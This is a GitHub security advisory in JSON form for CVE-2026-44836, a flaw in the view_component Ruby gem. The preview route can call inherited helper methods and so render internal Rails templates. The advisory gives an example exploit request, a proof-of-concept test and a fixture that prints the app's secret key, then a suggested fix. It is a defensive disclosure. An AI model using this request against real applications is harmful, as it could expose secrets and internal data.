CVE-2026-44836: view_component Preview Route Can Dispatch Inherited Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-7f3r-gwc9-2995",
  "modified" : "2026-06-08T23:34:27Z",
  "published" : "2026-05-08T23:33:14Z",
  "aliases" : [ "CVE-2026-44836" ],
  "summary" : "view_component: Preview Route Can Dispatch Inherited Helper Methods",
  "details" : "### Summary\n\nThe preview route derives an example name from the URL and calls it with `public_send`. The code does not verify that the requested method is one of the preview examples explicitly defined by the preview class.\n\nAs a result, inherited public methods on `ViewComponent::Preview` are route-reachable. The most important one is `render_with_template`, which accepts `template:` and `locals:`. Those values can come from request params and are later passed to Rails as `render template:`.\n\nIf previews are exposed, an attacker can render internal Rails templates that are not otherwise routable.\n\nSeverity: High if preview routes are externally reachable; Medium otherwise.\n\nAffected files:\n\n- `lib/view_component/preview.rb`\n- `app/controllers/concerns/view_component/preview_actions.rb`\n- `app/views/view_components/preview.html.erb`\n\n\n### Relevant Code\n\n`app/controllers/concerns/view_component/preview_actions.rb`:\n\n```ruby\n@example_name = File.basename(params[:path])\n@render_args = @preview.render_args(@example_name, params: params.permit!)\n```\n\n`lib/view_component/preview.rb`:\n\n```ruby\nexample_params_names = instance_method(example).parameters.map(&:last)\nprovided_params = params.slice(*example_params_names).to_h.symbolize_keys\nresult = provided_params.empty? ? new.public_send(example) : new.public_send(example, **provided_params)\n```\n\n`app/views/view_components/preview.html.erb`:\n\n```erb\n<%= render template: @render_args[:template], locals: @render_args[:locals] || {} %>\n```\n\nThe UI only lists direct preview methods via:\n\n```ruby\npublic_instance_methods(false).map(&:to_s).sort\n```\n\nBut `render_args` does not enforce that list before dispatching.\n\n### Exploit Flow\n\nExample request:\n\n```text\nGET /rails/view_components/my_component/render_with_template?template=internal/secret&locals[poc_local]=attacker-controlled-local&request_marker=attacker-controlled-request\n```\n\nFlow:\n\n1. `my_component` resolves to a valid preview.\n2. `File.basename(params[:path])` returns `render_with_template`.\n3. `render_args` calls inherited `ViewComponent::Preview#render_with_template`.\n4. Request params provide `template: \"internal/secret\"` and `locals: {...}`.\n5. The preview view renders `internal/secret` with attacker-controlled locals.\n\nImpact depends on what internal templates render. In the worst case this can expose secrets, config, debug data, admin-only partials, or request/session-derived values.\n\n### PoC Test\n\nThis checkout already contains a PoC at:\n\n- `test/sandbox/test/security_preview_template_poc_test.rb`\n- `test/sandbox/app/views/internal/secret.html.erb`\n\nThe test proves that `/internal/secret` is not directly routable, but can still be rendered through the preview endpoint by invoking inherited `render_with_template`.\n\nIf reproducing manually, run:\n\n```bash\nbundle exec ruby -Itest test/sandbox/test/security_preview_template_poc_test.rb\n```\n\nEquivalent standalone test:\n\n```ruby\n# frozen_string_literal: true\n\nrequire \"test_helper\"\n\nclass SecurityPreviewTemplatePocTest < ActionDispatch::IntegrationTest\n  def setup\n    ViewComponent::Preview.__vc_load_previews\n  end\n\n  def test_preview_route_can_invoke_inherited_render_with_template\n    refute_includes MyComponentPreview.examples, \"render_with_template\"\n\n    assert_raises(ActionController::RoutingError) do\n      Rails.application.routes.recognize_path(\"/internal/secret\")\n    end\n\n    get(\n      \"/rails/view_components/my_component/render_with_template\",\n      params: {\n        template: \"internal/secret\",\n        locals: {poc_local: \"attacker-controlled-local\"},\n        request_marker: \"attacker-controlled-request\"\n      }\n    )\n\n    assert_response :success\n    assert_includes response.body, \"VC_PREVIEW_POC_SECRET=foo\"\n    assert_includes response.body, \"VC_PREVIEW_POC_LOCAL=attacker-controlled-local\"\n    assert_includes response.body, \"VC_PREVIEW_POC_REQUEST=attacker-controlled-request\"\n  end\nend\n```\n\nFixture template:\n\n```erb\n<div id=\"poc-secret\">VC_PREVIEW_POC_SECRET=<%= Rails.application.secret_key_base %></div>\n<div id=\"poc-local\">VC_PREVIEW_POC_LOCAL=<%= local_assigns[:poc_local] || local_assigns[\"poc_local\"] %></div>\n<div id=\"poc-request\">VC_PREVIEW_POC_REQUEST=<%= params[:request_marker] %></div>\n```\n\n### Suggested Fix\n\nOnly dispatch explicitly declared preview examples:\n\n```ruby\ndef render_args(example, params: {})\n  example = example.to_s\n  raise AbstractController::ActionNotFound unless examples.include?(example)\n\n  example_params_names = instance_method(example).parameters.map(&:last)\n  provided_params = params.slice(*example_params_names).to_h.symbolize_keys\n  result = provided_params.empty? ? new.public_send(example) : new.public_send(example, **provided_params)\n  result ||= {}\n  result[:template] = preview_example_template_path(example) if result[:template].nil?\n  @layout = nil unless defined?(@layout)\n  result.merge(layout: @layout)\nend\n```\n\nAdd a regression test that `/rails/view_components/my_component/render_with_template` fails unless `render_with_template` is explicitly defined as a preview example on that class.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "RubyGems",
      "name" : "view_component"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.0.0"
      }, {
        "fixed" : "4.9.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/ViewComponent/view_component/security/advisories/GHSA-7f3r-gwc9-2995"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-44836"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/ViewComponent/view_component"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/view_component/CVE-2026-44836.yml"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-277", "CWE-749" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-08T23:33:14Z",
    "nvd_published_at" : "2026-05-26T21:16:38Z"
  }
}